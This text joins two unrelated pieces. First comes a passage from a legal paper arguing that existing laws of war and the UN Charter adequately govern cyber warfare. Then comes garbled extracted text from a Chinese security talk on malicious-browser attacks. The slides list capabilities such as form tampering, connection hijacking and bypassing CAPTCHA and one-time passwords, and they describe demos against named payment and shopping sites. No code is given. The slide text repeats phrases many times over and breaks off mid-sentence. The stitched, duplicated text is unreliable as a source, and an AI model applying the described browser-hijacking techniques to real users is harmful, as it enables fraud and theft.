location, purpose, or use, effectively contribute to the enemy‟s war-fighting or war-sustaining capability and whose total or partial destruction, capture, or neutralization would constitute a definite military advantage to the attacker under the circumstances at the time of the attack.”48 “[T]argets of the enemy that indirectly but effectively support and sustain the enemy‟s war-fighting capability may also be 44 Here, the problem of attribution arises again. Although difficult, there are methods for locating the originator of a DDoS attack. See e.g. IHAB HAMADEH, ATTACK ATTRIBUTION FOR DISTRIBUTED DENIAL-OF-SERVICE AND WORM ATTACKS (Pennsylvania State University 2006) (2006). 45 See Condition (I) for the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field, art. 2 (stating that the law of war comes into play during international armed conflict). 46 See DoDD 5100.77, The Law of War Program. 47 Here, the author is defining “combatant commander” as the commander of a combat unit or brigade, who has the authority to decide which targets should be attacked. 48 Additional Protocol I to the Geneva Conventions art. 52. attacked.”49 A combatant commander must consider three factors when deciding if a target can be attacked: (1) Distinction (2) Balancing Military Necessity with Humanity (3) Proportionality50 1. Distinction Two concepts emerge under the principle of distinction: (1) that there be a formal distinction between combatant and noncombatant persons;51 and (2) the duty to conduct warfare in a manner that minimizes harm to civilians and other noncombatants. Because this paper is primarily concerned with the act and not the actor of cyber warfare, an emphasis is placed on the latter concept of distinction. However, as a note, lawful combatants include the uniformed regular armed forces of a state, who have the sole right to participate in armed attacks or hostilities against an enemy.52 A combatant commander is required to distinguish between military and civilian objects, as the central idea of distinction is that only valid military targets should be attacked. Protocol Additional to the Geneva Conventions53 covers distinction in this respect. The general rule for distinction is embodied in Article 48, which states that “[i]n order to ensure respect for and protection of the civilian population and civilian objects, the Parties to the conflict shall at all times distinguish between the civilian population and combatants and between civilian objects 49 Id. 50 See U.S. Dep‟t of the Navy, NWP 1-14M, Commander‟s Handbook on the Law of Naval Operations (Jul. 2007). 51 1949 Geneva Convention (III) Relative to the Treatment of Prisoners of War (“GPW”), art. 4. 52 Id. 53 The full name is Protocol Additional to the Geneva Conventions of 1949, and Relating to the Protection of Victims of International Armed Conflict (“GPI”). and military objectives and accordingly shall direct their operations only against military objectives.” Article 50 defines who is a civilian and what is a civilian population. Article 51 describes the protection that should be given to civilian populations. Article 52 regulates the targeting of civilian objects. Article 57 outlines specific steps that a commander must take in order to verify that and object is not civilian in nature. Drawing the line of distinction is not easy. Complicating the matter for commanders, civilian objects can temporarily become valid military objectives based on location, purpose, or use.54 Major Eric Talbot Jensen, a Professor in The International and Operational Law Department at The U.S. Army‟s Judge Advocate General School, explained the concept of dual use objects using an infamous bridge example: [A] bridge that normally carries civilian traffic and would be considered a civilian object would become a military objective based on its location if it became the means for the enemy's armed forces to move to the battle. While still serving as a primary means for civilian transport over the river, the bridge is now a military object, as it is the primary means for the military to cross that same river. Objects like this are known as dual-use objects; objects that simultaneously serve civilian and military objectives. These dual-use objects present a unique challenge for commanders.55 It is important to note that even when engaging a dual-use object found to be a military objective, the commander, when possible, must make an effort to limit his attack to the portions 54 See GPI, supra note 21, art. 57, para. 2(a)(ii), 1125 U.N.T.S. at 29. 55 Major Eric Jensen, Unexpected Consequences From Knock-On Effects: A Different Standard for Computer Network Operations?, 18 AM. U. INT'L L. REV. 1145, 1156-57 (2003). of the dual-use object that is military in nature. Furthermore, once the dual-use object ceases to support military objectives, it must be looked upon as being civilian in nature.56 Distinction comes into play in attacks upon an enemy‟s computer network. Because of the interconnective nature of the internet, that network would likely be dual use, as civilian internet service providers enable online networks, while supporting the enemy‟s military objective of communicating. As discussed above, a combatant commander would need to take reasonable steps to limit the attack to the portion of the network used by the enemy. If the combatant commander releases a computer virus that propagates randomly through networks on which essential civilian functions reside, such as banking, medical care or electrical power, then the principle of distinction would likely be violated. 2. Balancing Military Necessity with Humanity In addition to distinction, the combatant commander will have to balance military necessity with humanitarian principles. Under military necessity, an attack on a particular target must further a legitimate military objective or confer a definite military advantage.57 Although the principle of military necessity appears to be a liberal one, it is not unchecked. It must be balanced against the principle of humanity.58 That is, an attack should not cause unnecessary suffering or superfluous injury in order to accomplish a military purpose.59 An example of military necessity being balanced with humanity, in the cyber context, can be based on the fictitious attack on an enemy‟s computer system that controls the enemy‟s power supply. Most power grids are controlled and monitored by supervisory control and data 56 Id. 57 Protocol 1 to the Geneva Conventions art. 52(2). 58 See Hague Convention on Land Warfare art. 22 (1907) (demonstrating the essential relationship between military necessity and humanity). 59 See GPI art. 35 para. 2. acquisition (“SCADA”) systems. Because SCADA systems are types of computer information systems, they are vulnerable to CNA. A combatant commander may, therefore, decide to attack a SCADA system, prior to a ground assault, in order to sabotage the enemy‟s warfighting capability. Although disabling the power supply might be a legitimate military objective, the commander must weigh this objective against humanitarian gains and losses such as extensive power loss, or power loss to a civilian hospital or other critical civilian objects. Using the principle of humanity, targets that might be deemed critical civilian infrastructures, are protected under established valid military objectives. The decision to attack critical civilian infrastructures, which may be a dual-use target, must be weighed against the principle of humanity prior to any engagement decisions. As a note, the combatant commander is only required to weigh military necessity against humanity. Taking the above example into consideration, a combatant commander can legally attack an enemy‟s power system, despite its affect on a civilian hospital, if the situation warrants it. For example, a combatant commander is likely not in violation of this principle, if he decided to disable the enemy‟s power supply, after learning that doing so would enable the capture or kill of a high value target like Osama Bin Laden. Although this is an unlikely scenario, it shows that this principle is essentially a judgment call that the combatant commander must make. 3. Proportionality A simple way to remember the principle of proportionality is by recalling the popular phrase that „the ends must justify the means.‟ In other words, the incidental harm caused to civilians or civilian property must be proportional and not excessive in relation to the concrete and direct military advantage anticipated by an attack on a military objective.60 Taking the 60 Yoram Dinstein, The Conduct of Hostilities Under the Law of International Conflict 12-23 (2004). above requirement to balance military necessity and humanity into consideration, proportionality would be the tool by which they are balanced. The combatant commander ordering the attack is responsible for making the proportionality judgment. A corollary of the principle of proportionality is that the attacker has a responsibility to take reasonable steps to find out what collateral damage a contemplated attack may cause.61 Applying proportionality in the context of a power supply scenario, one can see that proportionality is the calculus applied to determine whether the benefits from achieving the military objectives outweigh its negative collateral effects such as extensive power loss to the civilian population. Once hostilities have begun, it is important to remember that a combatant commander must consider three factors when deciding if a target can be attacked: Distinction; Balancing Military Necessity with Humanity; and Proportionality. As discussed infra it is important to realize how these three principles apply to acts of Cyber Warfare. IV. Well-Known and Often-Discussed Cyber Warfare Issues The media, academic, military, and technology communities give vast attention to the topic of cyber warfare. Although much scrutiny has been given to the current laws of cyber warfare, the majority of criticisms argue that the current legal framework cannot address warfighting in cyberspace. Many people believe that the traditional laws of war are inadequate and should be rewritten. Others believe that nations should enter into an international treaty for fighting cyber warfare. This paper argues that the traditional laws of war can aptly guide nations in conducting and defending against cyber warfare. Before doing so, I provide commentary on three well-known issues that are often discussed in the cyber warfare community. First, the “use of force” debate is described. Second, the popular, but inaccurate “cyber arms race” analogy is 61 Id. discussed. Third, proposals for the creation of an international treaty for cyber warfare are explained. A. The “Use of Force” Debate As it relates to Cyber Warfare, a primary concern of jus ad bellum is whether a particular action of CNA equates to a “use of force” or “armed attack” under UN Articles 2(4), 39, or 51.62 Based on these three UN Articles, the legality of a pre-hostility action depends on where that action falls along an imaginary spectrum of force.63 This imaginary spectrum includes three zones: (1) below the threshold of a use of force under Article 2(4); (2) a use of force under Article 2(4) but shy of an armed attack under Article 51; or (3) an armed attack under Article 51 giving the victim state the right to respond to self-defense. Although “use of force” is commonly understood to consist of a kinetic military attack, such as an air strike, Article 2(4) also applies to “physical force of a non-military nature committed by any state agency.”64 Scholars contend that determining when a particular act of CNA constitutes a use of force or an armed attack is difficult. “The dilemma lies in the fact that CNA spans the spectrum of consequentiality. Its effects freely range from mere inconvenience (e.g., shutting down an academic network temporarily) to physical destruction (e.g., as in creating a hammering phenomenon in oil pipelines so as to cause them to burst) to death (e.g., shutting down power to a hospital with no back-up generators).”65 Because of this perceived dilemma, Schmitt proposed seven factors to determine whether a particular act of CNA amounts to a use of force under the 62 See generally THOMAS C. WINGFIELD, THE LAW OF INFORMATION CONFLICT Part II (2000). 63 Id. at 128. 64 W.G. Sharp, Critical Infrastructure Protections: A New Era of National Security, 12 THE FEDERALIST SOC‟Y INT‟L AND NAT‟L SECURITY L. NEWS 1, 1 (1998). 65 Michael N. Schmitt, Computer Network Attack and the Use of Force in International Law: Thoughts on a Normative Framework, 37 COLUM. J. TRANSNAT‟L L. 885, 912 (1999). UN charter.66 To analyze a CNA issue jus ad bellum, Schmitt recommends applying a consequence based analysis using the following factors: (1) Severity; (2) Immediacy; (3) Directness; (4) Invasiveness; (5) Measurability; (6) Presumptive Legitimacy; and (7) Responsibility. Here, Professor Schmitt attempts to provide a multi-factor approach for determining whether a CNA amounts to an armed attack, explaining that: First, a cyber attack is an armed attack justifying a forceful response in self-defense if it causes physical damage or human injury or is part of a larger operation that constitutes an armed attack. Second, self-defense is justified when a cyber attack us an irrevocable step in an imminent (near-term) and unavoidable attack (preparing the battlefield). Finally, a State may react defensively during the last possible window of opportunity available to effectively counter an armed attack when no reasonable doubt exists that the attack is forthcoming.67 Although Schmitt‟s proposes a multi-factor test to determine when an act of CNA equates to a “use of force,” at the onset, and as discussed supra, it is important to consider that the UN Security Council, prior to the commencement of hostilities, generally prohibits uses of force except for the two situations authorized by the UN Charter.68 First, the Security Council has the sole authority and discretion to ratify (or sanction) any use of force; to include a very mild cyber attack.69 Here, the author highlights the potential ratification or sanctioning of a “mild” cyber attack to emphasize the UN Council‟s broad authority; a cyber attack need not be 66 Michael N. Schmitt, The Sixteenth Waldemar A. Solf Lecture on International Law, 176 Mil. L. Rev. 364, 417 (2003); Schmitt, supra note 28 at 914-15. 67 Id. Similar to Schmitt‟s analysis, Thomas Wingfield also suggests a multi-factor approach to determine whether a CNA amounts to an armed attack. Arguing that “an armed attack may occur when a use of force or an activity not traditionally considered an armed attack is used in such a way that it becomes tantamount in effect to an armed attack.” Wingfield proposes three factors to consider when looking at whether an activity is tantamount to an armed attack: scope; duration; and intensity. WINGFIELD, supra note 62, at 113. 68 See supra Part III.A. 69 See supra Part III.A. of epic proportions to fall under the purview of the UN Council. For example, if China defaced a United States Government website, which is arguably a mild act, and likely wouldn‟t amount to a use of force under Schmitt‟s analysis, then the UN Council has the power to ratify or sanction that act. “The U.N. General Assembly defined aggression to include the use of „any weapons‟ against another state. The use of such a clearly broad term as „any‟ logically implies that the use of even minor weapons against a state could be considered an act of aggression, if the circumstances are of “sufficient gravity.”70 Thus, although unlikely, if a nation state sanctions the throwing of a stone towards another nation‟s embassy, then that mild act could be considered a use of force. This general prohibition also applies to the use of cyber weapons. Because the UN Charter generally forbids all uses of force, there is no need to engage in a multi-factor analysis. Second, Article 51 of the UN Charter provides for the right of countries to engage in military action in self defense, including collective self-defense.71 Taking these two exceptions into consideration, it follows that a CNA equates to a use of force if and whenever the UN Council says so. If the UN Council determines that a CNA is a use of force, then the UN Council has the discretion to ratify or sanction it.72 Said differently, anytime a nation state chooses to conduct CNA, that nation is taking a risk that the UN Council may sanction the act, because a use of force is assumed to be prohibited. In addition, a country is allowed to engage in CNA or use force, if the CNA is a recognizable act of self-defense.73 Similar to the authorities granted pursuant to Articles 39 and 41, the UN Council has the authority to determine whether an act of self defense is a reasonable one. Thus, a nation conducting any CNA, prior to hostilities, is legally doing so only in the case of reasonable self-defense; if self-defense is not 70 Major Graham H. Todd, Armed Attack in Cyberspace: Deterring Asymmetric Warfare with an Asymmetric Definition, 64 A.F.L. REV. 65, 84 (2009). 71 See supra Part III.A. 72 See supra Part III.A. 73 See infra Part III.A. involved, then the nation actor is conducting CNA with the risk of being sanctioned by the UN Council. This may imply that the UN Council needs to implement means of monitoring all state- sponsored acts of CNA and become more aggressive in holding countries accountable for cyber acts, which is a challenge in and of itself, but it does not imply that the international laws of war are inadequate. One may consider whether the UN Council should then adopt a uniform multi-factor test when reviewing cyber acts, similar to the test proposed by Schmitt. This framework would give the UN Council a set of factors for deciding whether to ratify or sanction a particular CNA. The dynamic nature of cyber warfare and the rate of technology advancement makes a “multi-factor test” a horrible candidate for a single and dispositive test for determining the legitimacy of a CNA. Professor Barton Beebe of the Benjamin N. Cardozo School of Law gives a stunning critique of legal multi-factor tests.74 Beebe argues that although no particular factor is said to be dispositive in most multi-factor tests, in practice “judges employ „fast and frugal‟ heuristics to short-circuit the multifactor analysis. . . [and that] [a] few factors prove to be decisive; the rest are at best redundant and at worst irrelevant.”75 Although Beebe‟s gives a general critique to multi-factor tests, his arguments are more relevant in the context of cyber warfare. With the dynamic nature of cyber warfare, and in light of the above criticism, a multi-factor test would be highly restrictive and should not be used as the one and only standard to assess the legitimacy of a CNA. The UN Council should maintain its broad authority to ratify or sanction acts of CNA, while using whatever methodology to do so as the situation warrants. Those who promote this issue as a major debate are misconstruing the UN‟s broad authority, ignoring the general 74 Barton Beebe, An Empirical Study of the Multifactor Tests for Trademark Infringement, 94 CAL. L. REV. 1581, 1581 (2006). 75 Id. prohibition against all uses of force, and therefore, mistakenly concluding that international law is silent on the issue. B. The Misleading Cyber Arms Race Analogy Some analysts believe that the U.S., China, Russia and others are locked in a “Cyber Arms Race,” reminiscent of the Nuclear Arms Race between the U.S. and Russia that became known as The Cold War.76 In fact, a recent Defense Tech article goes so far as to make a direct comparison of the current cyber climate to the Cold War: A „dead heat‟ is a race, campaign or other contest that is so close that it is impossible to predict the winner. That‟s what it looks like when it comes to the continuing race for cyber warfare supremacy, and experts agree this will be the case for the foreseeable future. With images of the Cold War and its associated arms race, as cyber warfare, cyber espionage, cyber attacks and cyber terrorism continues to evolve the top three leaders (US, Russia and China) are jockeying for position. 77 Although the notion of a Cyber Arms Race makes a great cover story, this comparison is simply misleading.78 It is a direct attempt to compare military cyber capabilities to nuclear weapons, and uses this comparison to give the exaggerated perception that some grave and imminent cyber danger exists that can only be prevented with the creation of “international cyber treaties;” similar to today‟s current Nuclear Treaties. 76 See e.g. Jack Goldsmith, Can we stop the global cyber arms race?, N.Y. TIMES, Feb. 1, 2010, available at http://www.washingtonpost.com/wp-dyn/content/article/2010/01/31/AR2010013101834.html. 77 Kevin Coleman, The Neck and Neck Cyber Arms Race, DEFENSE TECH, Mar. 17, 2009, available at http://defensetech.org/2009/03/17/the-neck-and-neck-cyber-arms-race/. 78 See generally Evgeny Morozov, Cyber-Scare: The Exaggerated Fears Over Digital Warfare, BOSTON REVIEW, July/August 2009, available at http://bostonreview.net/BR34.4/morozov.php. C. Proposals for International Treaty for Cyber War. Legal scholars have criticized the law of war as outdated as it relates to cyber warfare, and therefore call for the creation of an International Treatise for Cyber Warfare.79 For example, Davis Brown suggests that applying the current law of war to cyber and information warfare “erroneously assumes that warfare by computer is not significantly different from warfare with kinetic weapons such as bombs and bullets.” 80 Brown goes on to caution against assuming that conventional law of war “will resolve all of the new issues raised by the use of malicious code, denial-of-service attacks, and control of vital systems when used against the enemy.” To support the above contention, Brown points out two paradigms that have emerged due to cyber and information warfare. First, that there is a shift in favored weaponry from kinetic weapons towards information weapons. Second, that there is a growing dependency on civilians and civilian objects when conducting warfare. Based on those two paradigms, Brown concludes that “[t]he square peg of conventional [law of war] does not fit neatly into the round hole of [cyber and] information warfare,” and he therefore proposes an “International Convention To Regulate the Use of Information Systems in Armed Conflict.” Brown goes on to state that this proposed body of law governing Cyber Warfare should be based on the current law of war, including the principles of Part III above, but not so much that the essence of Cyber and Information Warfare is crippled. Following the conclusion, Brown presents a Draft Convention Regulating the Use of Information Systems in Armed Conflict (the “Draft Convention”).81 In the Draft Convention, Brown fails to propose anything new under the current rules of war. For example, in Article 1, 79 See generally Agence France-Presse, UN Agency Calls for Global Cyberwarfare Treaty, „driver‟s license‟ for Web Users, THE RAW STORY, Jan. 30, 2010 available at http://rawstory.com/2010/01/agency-calls-global- cyberwarfare-treaty-drivers-license-web-users/. 80 Davis Brown, A Proposal for an International Convention To Regulate the Use of Information Systems in Armed Conflict, 47 HARV. INT'L L.J. 179, 179-83 (2006). 81 Id. at 215. Brown defines several terms, which are already well-defined in the international, technology, and cyber warfare communities. In Article 3, Brown simply proposes that the current law of war be applied to information systems, stating that “[a]n act that violates the law of armed conflict if carried out by conventional means also violates the law of armed conflict if carried out by an information attack. An attack that does not violate the law of armed conflict if carried out by conventional means also does not violate the law of armed conflict if carried out using information systems.”82 Articles 4-17 merely implements the principles of distinction, balancing military necessity with humanity, and proportionality discussed supra. The remainder of the Draft Convention goes on to specify how the rules of warfare should be implemented in the context of cyber warfare. Brown, in the Draft Convention, failed to present any novel laws; he simply took the current rules of war and demonstrated how they already apply to cyber warfare. V. Arguments Against Creating a Distinct Body of and International Treaty for Cyber Warfare Law. Major Eric Jensen contends that the traditional laws of war actually compliment a commander‟s ability to conduct Cyber Warfare.83 Jensen argues that the law of war accommodates a commander‟s use of CNA in that the commander only needs to determine “if, in good faith, he believes that the damage to civilian objects, and injury to civilians that is expected from the attack, given the circumstances as known to him at the time . . . is not excessive to the concrete and direct military advantage anticipated.”84 Jensen concludes that “the legal standard 82 Id. 83 Jensen supra note 55 at 1146-75. 84 Id. when considering potential unexpected consequences is no different in CNO than in normal kinetic operations and presents no significant addition to the standard targeting analysis.”85 In addition to the reasons cited by Major Jensen, this paper also asserts that the traditional laws of war are able to handle the unique issues that arise as a result of conducting cyber warfare. The current UN Charter and Laws of War should, therefore, continue to govern cyber warfare. In fact, creating an international treaty or law for cyber warfare would do more harm than good and seriously cripple our ability to conduct war.86 In particular, the U.S. should not support an international treaty or law for cyber warfare because: (1) combatant commanders already have proper guidelines for conducting warfare; even in the information age;87 (2) fields of law are seldom demarcated by technology; (3) an unintended consequence of a cyber warfare law is that it may pose an undue limitation on a primarily non-lethal strategic deterrence; (4) our adversaries are unlikely to comply; and (5) the rate of technology growth will outpace the ability for an international cyber regime to produce responsive policy, while the flexibility allotted by the UN Charter and laws of war are able to absorb technological advances. A. Fields of Law are Seldom Demarcated by Technology Joseph Sommer argued against the creation of a distinct body of “Cyberlaw,” asserting that: (1) cyberlaw is not a body of law in and of itself as technologies generally do not define bodies of law, (2) it is dangerous to consider Cyberlaw as its own body of law and that to do so will lead to the development of bad law, and (3) most legal issues posed by these technologies are not new at all and that existing law is flexible enough to deal with such issues. In doing so, Sommer highlights the facts that there was never a law of the steam engine despite its role in 85 Id. 86 See e.g. infra Part V.C. 87 See supra Part III; see also supra Part IV.A. society, nor is there really a law of the car today. Sommer concludes that the new informatics technologies do not support any discrete body of social practice, and therefore, Cyberlaw will not survive any longer than “the law of the Telephone” or “Space Law.”88 Although this argument has failed to gain traction in mainstream society, due to the fact that technology has driven changes in several areas of the law, Sommers‟ argument directly lends itself to the debate on the limited issue of whether there should be an international treaty or distinct body of cyber warfare law.89 Similar to Sommers‟ argument, as it relates to warfare, there was not a law created for semi-automatic rifles or tanks, which were arguably more revolutionary to warfare than the computer. This is the exact reason why the Hague Rules of Aerial Warfare, crafted in the aftermath of the first use of aircraft in armed conflict, is a dead letter.90 Similarly, other treaties were created due to hype instead of necessity, such as the treaty banning the use of environmental modification techniques in warfare,91 the protocol banning weapons whose fragments cannot be detected by X-ray,92 and the protocol banning the use of blinding lasers.93 In each of the above situations, there was a new and exciting technology, and in a knee-jerk reaction, the international community responded with an unnecessary treaty. As it relates to cyber warfare, the lessons of the past must be considered. Furthermore, as shown supra, the current laws of war adequately addresses cyber warfare.94 For example, prior to armed conflict, 88 See generally Joseph Sommer, Against Cyberlaw, 15 BERK. TECH. L.J. 1145, 1145 (2000). 89 Id. 90 Hague Rules of Aerial Warfare, Feb. 19, 1923, 32 AM. J. INT‟L L. SUPP. 12 (1938) (not in force). 91 Convention on the Prohibition of Military or Any Hostile Use of Environmental Modification Techniques, May 18, 1977, 31 U.S.T. 333, 16 I.L.M. 88 (1977). 92 Protocol I on Non-Detectable Fragments, annexed to Convention on Prohibitions or Restrictions on the Use of Certain Conventional Weapons Which May be Deemed to be Excessively Injurious or to Have Indiscriminate Effects, Oct. 10, 1980, U.N. Doc. A/CONE95/15 (1980), 19 I.L.M. 1523, 1529 (1980). 93 Protocol IV on Blinding Laser Weapons, annexed to Convention on Prohibitions or Restrictions on the Use of Certain Conventional Weapons Which May be Deemed to be Excessively Injurious or to Have Indiscriminate Effects, Oct. 13, 1995, 35 I.L.M. 1206, 1218 (1996) 94 See supra Part III. there is a general prohibition against uses of force,95 and during armed conflict, the principles of distinction, balancing military necessity with humanity, and proportionality must with be used.96 Therefore, the current rules of war, prior to, and during hostility, encompass cyber warfare. In light of past lessons learned, and the fact that the current rules of war adequately addresses cyber warfare, the advent of cyber weapons or capabilities should not cause the warfare laws to be rewritten. B. Undue Limitations on a Primarily Non-Lethal Strategic Deterrence A strategic deterrence is generally defined as the actions of a state or group of states to dissuade a potential adversary from initiating an attack or conflict by the threat of retaliation by credibly demonstrating to an adversary that the costs of an attack would be too great and would outweigh any potential gains.97 A popular example of a strategic deterrence is the mutually assured nuclear destruction that would occur should two opposing sides deploy a nuclear weapon; each opposing side is, therefore “deterred” from using their nuclear weapon.98 Although cyber capabilities are unlikely to cause the same amount of devastation as nuclear weapons, they commonly serve as deterrents. For example, one nation state may not conduct a cyber attack due to the possibility of mutual destruction that may occur if the aggrieved nation responds with a cyber attack of its own. An unintended consequence of a Cyber Warfare treaty is that it may pose an undue limitation on a primarily non-lethal strategic deterrence. Despite the many doomsday scenarios such as a nuclear power plant being hacked and causing a nuclear explosion, a “Cyber-Katrina” 95 See supra Part III.A. 96 See supra Part III.B. 97Col. Alan J. Parrington, Mutual Assured Destruction: Mutually Assured Destruction Revisited, Strategic Doctrine in Question, AIRPOWER JOURNAL, Winter 1997. 98 Id. is unlikely.99 In fact, cyber warfare is unlikely to cause the loss of human life. It can be argued that cyber warfare is a primarily non-lethal strategic deterrence.100 For example, “China‟s interest in achieving military effects via cyber warfare begins with deterrence. The goal is not to deter other nations from conducting cyber warfare against the PRC; rather, it is to use the threat of cyber warfare to deter an actor from behaving in a manner that is in opposition to Chinese strategic interests.”101 To this day, no human being has died as a result of a cyber attack.102 Although cyber warfare is primarily non-lethal, a CNA is capable of causing physical harm. One can imagine such scenarios such as a CNA causing airplane crashes, due to cyber attacks on air traffic control systems, or a nuclear explosion, due to cyber attacks on a nuclear power plant‟s SCADA system. However, these scenarios are unlikely.103 Furthermore, as discussed supra, these acts would likely violate the current rules of war.104 Because cyber warfare is primarily non-lethal, and due to its deterrence capability, it may be the greater of two evils when it is compared to traditional kinetic weaponry such as missiles. In light of the UN Charter‟s guiding principle of preserving human life, proponents of the creation of a cyber warfare treaty should consider the fact that such a treaty may have the effect of limiting a primarily non-lethal weapon, and possibly shift the weaponry trend back to the use of kinetic weapons. C. Our Real Adversaries are Unlikely to Comply with a Cyber Treaty Our adversaries are primarily non-state sponsored. In fact, the phrase “War on Terror” was used to denote a global military, political, legal and ideological struggle against 99 See Evgeny Morozov, Cyber-Scare: The Exaggerated Fears Over Digital Warfare, BOSTON REVIEW, July/August 2009, available at http://bostonreview.net/BR34.4/morozov.php. 100 Id. 101 Brian M. Mazanec, The Art of (Cyber) War, The Journal of International Security Affairs, Spring 2009—Number 16 (2009) available at http://www.securityaffairs.org/issues/2009/16/mazanec.php. 102 Id. 103 See Evgeny Morozov, Cyber-Scare: The Exaggerated Fears Over Digital Warfare, BOSTON REVIEW, July/August 2009, available at http://bostonreview.net/BR34.4/morozov.php. 104 See supra Part III. organizations designated as terrorist and regimes that were accused of having a connection to them, with a particular focus on militant Islamists and al-Qaeda. A terrorist organization like Al‟Qaeda is unlikely to comply with any cyber treaty. Creating an international law will, therefore, have the actual effect of crippling our warfighting ability, while our real adversaries continue to run rogue. In addition, even in the event of us encountering a state-sponsored adversary, attributing cyber attacks to a particular entity is difficult. “The challenge of attribution in cyberspace provides China [and others] with plausible deniability and makes cyber warfare all the more attractive. “Independent” patriotic hackers, cultivated and loosely controlled as a 21st-century version of Mao‟s “People‟s War,” provide the perfect mechanism to give the PRC cyber threat credibility.”105 If we were to enter into a cyber warfare treaty, we would essentially be volunteering to fight war “with one hand behind our back,” while those we are likely to fight against will do so with no rule of law in mind—let alone a rule governing cyber warfare. D. The rate of technology will outpace the ability for an international cyber regime to produce responsive policy, while the flexibility allotted by the UN Charter are able to absorb technological advances. An analysis of the history of technology shows that technological change is exponential, contrary to the common-sense "intuitive linear" view. So we won't experience 100 years of progress in the 21st century -- it will be more like 20,000 years of progress (at today's 105 Brian M. Mazanec, The Art of (Cyber) War, The Journal of International Security Affairs, Spring 2009—Number 16 (2009) available at http://www.securityaffairs.org/issues/2009/16/mazanec.php. rate). The "returns," such as chip speed and cost-effectiveness, also increase exponentially. There's even exponential growth in the rate of exponential growth.106 In the time it will take the international community to produce cyber policy, technology would have gone through another revolution.107 Furthermore, if we produce a legal framework solely based on cyber warfare, then hackers will be smart enough to find loopholes in the law and craft their cyber attacks around those laws. Instead, we should allow the continued flexibility of the UN Charter and laws of war to continue to govern the way we conduct warfare; even in the information age. This is exactly why the UN Charter is broad and does not limit itself to any particular technology. VI. Conclusion The laws of war will be tested by cyber warfare in two situations: first, prior to the commencement of an armed conflict;108 second, when an armed conflict is ongoing.109 In each of these situations, the current laws of war can address the emerging issues raised by cyber warfare. Although several hot-button issues related to cyber warfare are often discussed and fuel the cyber warfare debate, they may not be issues at all.110 A careful analysis shows that the current UN Charter and Laws of War should continue to govern cyber warfare. Creating an international treaty or law for cyber warfare would do more harm than good and seriously cripple our ability to conduct war.111 106 Ray Kurzweil, The Law of Accelerating Returns, KurzweilAI.net, Mar. 7, 2010 available at http://www.kurzweilai.net/articles/art0134.html?printable=1. 107 Id. 108 See supra Part III.A. 109 See infra Part III.B. 110 See infra Part IV. 111 See infra Part V.
pdf
You Cannot See Me unohope [at] chroot.org 講師簡介 講師簡介 講師簡介 講師簡介 Unohope (unohope [at] chroot.org) 研究方向 研究方向 研究方向 研究方向 Web Application Security Network Security Network Security Multimedia Security 相關經歷 相關經歷 相關經歷 相關經歷 經歷 Hacks In Taiwan Conference 2005 Speaker 經歷 Hacks In Taiwan Conference 2006~2008 Wargame Designer 經歷 Chroot Security Group (http://www.chroot.org) 經歷 企業、學術及政府等單位資安教育訓練講師 經歷 網駭科技 WARGAME 教育訓練講師 著作 THE WARGAME 駭客訓練基地 證照 EC-Council Certified Ethical Hacker 兩隻蜥蜴還是兩隻壁虎 兩隻蜥蜴還是兩隻壁虎 兩隻蜥蜴還是兩隻壁虎 兩隻蜥蜴還是兩隻壁虎? To see is to believe Surf the Internet every day Maybe you are an accessory Malicious Web Browser Attack 灌籃高手 灌籃高手 灌籃高手 灌籃高手: : : :控制籃下就等於控制了整場比賽 控制籃下就等於控制了整場比賽 控制籃下就等於控制了整場比賽 控制籃下就等於控制了整場比賽 駭客高手 駭客高手 駭客高手 駭客高手: : : :控制瀏覽器就等於控制了使用者 控制瀏覽器就等於控制了使用者 控制瀏覽器就等於控制了使用者 控制瀏覽器就等於控制了使用者 Features 竄改資料 竄改資料 竄改資料 竄改資料 顯示的資訊 顯示的資訊 顯示的資訊 顯示的資訊 擾亂視聽的資訊 擾亂視聽的資訊 擾亂視聽的資訊 擾亂視聽的資訊 送出的表單 送出的表單 送出的表單 送出的表單 送出的表單 送出的表單 送出的表單 送出的表單 串改傳送數值 串改傳送數值 串改傳送數值 串改傳送數值 修改接收網址 修改接收網址 修改接收網址 修改接收網址 啟用的元件 啟用的元件 啟用的元件 啟用的元件 安裝 安裝 安裝 安裝/執行惡意元件 執行惡意元件 執行惡意元件 執行惡意元件 連線劫持 連線劫持 連線劫持 連線劫持 更有效率的攻擊方式 更有效率的攻擊方式 更有效率的攻擊方式 更有效率的攻擊方式 優點 優點 優點 優點 免利用任何網站弱點 免利用任何網站弱點 免利用任何網站弱點 免利用任何網站弱點 SQL Injection Cross Site Scripting Cross-Site Request Forgery Cross-Site Request Forgery etc … 輕易繞過多種認證 輕易繞過多種認證 輕易繞過多種認證 輕易繞過多種認證 Captcha Sign-In Seal One Time Password Certification IC Card etc … 缺點 缺點 缺點 缺點 必須用戶端執行 必須用戶端執行 必須用戶端執行 必須用戶端執行 (Software, Plug-in, Spyware, etc…) DEMO1 展示內容 展示內容 展示內容 展示內容: 擾亂使用者視聽 擾亂使用者視聽 擾亂使用者視聽 擾亂使用者視聽 適用對象 適用對象 適用對象 適用對象: 所有網站 所有網站 所有網站 所有網站 信用卡側錄與盜刷 信用卡側錄與盜刷 信用卡側錄與盜刷 信用卡側錄與盜刷 在加油站刷卡加油要特別留意,國 道公路警察局破一起盜刷集團派遣 成員,應徵進入加油站當工讀生, 充當盜刷集團的臥底來側錄顧客信 用卡內碼,並且製作成偽卡到各大 百貨盜刷,盜刷金額高達上億元, 百貨盜刷,盜刷金額高達上億元, 警方發現嫌犯當中,竟然還有一位 是自稱是參與救治邵曉鈴的醫護人 員。 嫌犯被捕時,坐在地上不發一語, 隨後警方搜出偽造信用卡數百張, 還有內碼燒錄器、印卡機,甚至連 防偽標籤都有,可見集團犯眾手法 相當精細。 DEMO2 展示內容 展示內容 展示內容 展示內容: 竊取傳遞的資訊 竊取傳遞的資訊 竊取傳遞的資訊 竊取傳遞的資訊 適用對象 適用對象 適用對象 適用對象: 各種線上金流網站 各種線上金流網站 各種線上金流網站 各種線上金流網站 ESafe, GreenWorld, EzPos, etc… ESafe, GreenWorld, EzPos, etc… 各種線上購物網站 各種線上購物網站 各種線上購物網站 各種線上購物網站 PChome, Yahoo, PayEasy, ETMall, etc… 駭客沒晶片金融卡 駭客沒晶片金融卡 駭客沒晶片金融卡 駭客沒晶片金融卡 無法盜領 無法盜領 無法盜領 無法盜領 鍵盤駭客入侵網路銀行安全堪虞 鍵盤駭客入侵網路銀行安全堪虞 鍵盤駭客入侵網路銀行安全堪虞 鍵盤駭客入侵網路銀行安全堪虞 刑事局17日偵破了一起網路銀行鍵 盤側錄密碼的案件。陳姓害客專門 在網路上販賣虛擬銀行、ATM的讀 